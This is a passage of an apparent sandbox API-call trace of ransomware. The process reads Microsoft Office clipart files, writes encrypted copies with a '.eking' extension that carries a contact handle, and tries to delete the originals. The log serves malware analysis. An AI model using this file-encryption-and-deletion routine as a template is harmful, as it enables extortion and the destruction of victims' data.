lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0260.381] CloseHandle (hObject=0x390) returned 1 [0260.381] CloseHandle (hObject=0x3a0) returned 1 [0260.382] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf")) returned 0 [0260.382] SetEvent (hEvent=0x2b8) returned 1 [0260.382] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0261.349] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=14540) returned 1 [0261.349] CloseHandle (hObject=0x348) returned 1 [0261.349] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf")) returned 0x220 [0261.349] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf")) returned 0x220 [0261.349] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0261.350] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0261.350] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0261.350] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0261.351] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x398 [0261.352] ReadFile (in: hFile=0x348, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x38cc, lpOverlapped=0x0) returned 1 [0261.573] WriteFile (in: hFile=0x398, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x38d0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x38d0, lpOverlapped=0x0) returned 1 [0261.575] WriteFile (in: hFile=0x398, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0261.575] CloseHandle (hObject=0x348) returned 1 [0261.576] CloseHandle (hObject=0x398) returned 1 [0261.576] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf")) returned 0 [0261.577] SetEvent (hEvent=0x2b8) returned 1 [0261.577] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0261.579] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=15733) returned 1 [0261.579] CloseHandle (hObject=0x398) returned 1 [0261.579] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif")) returned 0x220 [0261.580] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif")) returned 0x220 [0261.580] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0261.580] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0261.581] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0261.581] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0261.581] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x348 [0261.583] ReadFile (in: hFile=0x398, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x3d75, lpOverlapped=0x0) returned 1 [0261.588] WriteFile (in: hFile=0x348, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x3d80, lpOverlapped=0x0) returned 1 [0261.590] WriteFile (in: hFile=0x348, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0261.590] CloseHandle (hObject=0x398) returned 1 [0261.591] CloseHandle (hObject=0x348) returned 1 [0261.591] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif")) returned 0 [0261.592] SetEvent (hEvent=0x2b8) returned 1 [0261.592] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0261.593] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=12982) returned 1 [0261.593] CloseHandle (hObject=0x348) returned 1 [0261.593] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf")) returned 0x220 [0261.593] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf")) returned 0x220 [0261.593] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0261.593] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0261.594] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0261.594] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0261.594] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x398 [0261.595] ReadFile (in: hFile=0x348, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x32b6, lpOverlapped=0x0) returned 1 [0261.598] WriteFile (in: hFile=0x398, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x32c0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x32c0, lpOverlapped=0x0) returned 1 [0261.600] WriteFile (in: hFile=0x398, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0261.600] CloseHandle (hObject=0x348) returned 1 [0261.600] CloseHandle (hObject=0x398) returned 1 [0261.601] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf")) returned 0 [0261.601] SetEvent (hEvent=0x2b8) returned 1 [0261.601] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0261.602] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=9710) returned 1 [0261.602] CloseHandle (hObject=0x398) returned 1 [0261.603] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf")) returned 0x220 [0261.603] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf")) returned 0x220 [0261.603] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0261.603] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0261.603] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0261.604] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0261.604] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x348 [0261.605] ReadFile (in: hFile=0x398, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x25ee, lpOverlapped=0x0) returned 1 [0261.620] WriteFile (in: hFile=0x348, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x25f0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x25f0, lpOverlapped=0x0) returned 1 [0261.621] WriteFile (in: hFile=0x348, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0261.622] CloseHandle (hObject=0x398) returned 1 [0261.622] CloseHandle (hObject=0x348) returned 1 [0261.623] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf")) returned 0 [0262.702] SetEvent (hEvent=0x2b8) returned 1 [0262.703] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0262.705] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=11058) returned 1 [0262.705] CloseHandle (hObject=0x398) returned 1 [0262.708] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf")) returned 0x220 [0262.708] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf")) returned 0x220 [0262.708] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0262.708] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0262.709] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0262.709] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0262.709] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3a0 [0262.710] ReadFile (in: hFile=0x398, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x2b32, lpOverlapped=0x0) returned 1 [0262.719] WriteFile (in: hFile=0x3a0, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x2b40, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x2b40, lpOverlapped=0x0) returned 1 [0262.720] WriteFile (in: hFile=0x3a0, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0262.720] CloseHandle (hObject=0x398) returned 1 [0262.721] CloseHandle (hObject=0x3a0) returned 1 [0262.721] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf")) returned 0 [0262.722] SetEvent (hEvent=0x2b8) returned 1 [0262.722] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0262.723] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=12520) returned 1 [0262.723] CloseHandle (hObject=0x3a0) returned 1 [0262.723] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf")) returned 0x220 [0262.723] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf")) returned 0x220 [0262.723] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0262.724] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0262.724] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0262.724] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0262.724] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x398 [0262.725] ReadFile (in: hFile=0x3a0, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x30e8, lpOverlapped=0x0) returned 1 [0262.827] WriteFile (in: hFile=0x398, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x30f0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x30f0, lpOverlapped=0x0) returned 1 [0262.829] WriteFile (in: hFile=0x398, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0262.830] CloseHandle (hObject=0x3a0) returned 1 [0262.830] CloseHandle (hObject=0x398) returned 1 [0262.831] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf")) returned 0 [0262.831] SetEvent (hEvent=0x2b8) returned 1 [0262.832] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0262.833] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=7862) returned 1 [0262.833] CloseHandle (hObject=0x398) returned 1 [0262.833] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf")) returned 0x220 [0262.833] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf")) returned 0x220 [0262.833] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0262.833] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0262.834] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0262.834] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0262.834] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3a0 [0263.184] ReadFile (in: hFile=0x398, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x1eb6, lpOverlapped=0x0) returned 1 [0263.545] WriteFile (in: hFile=0x3a0, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x1ec0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x1ec0, lpOverlapped=0x0) returned 1 [0263.546] WriteFile (in: hFile=0x3a0, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0263.547] CloseHandle (hObject=0x398) returned 1 [0263.547] CloseHandle (hObject=0x3a0) returned 1 [0263.547] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf")) returned 0 [0263.548] SetEvent (hEvent=0x2b8) returned 1 [0263.548] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, 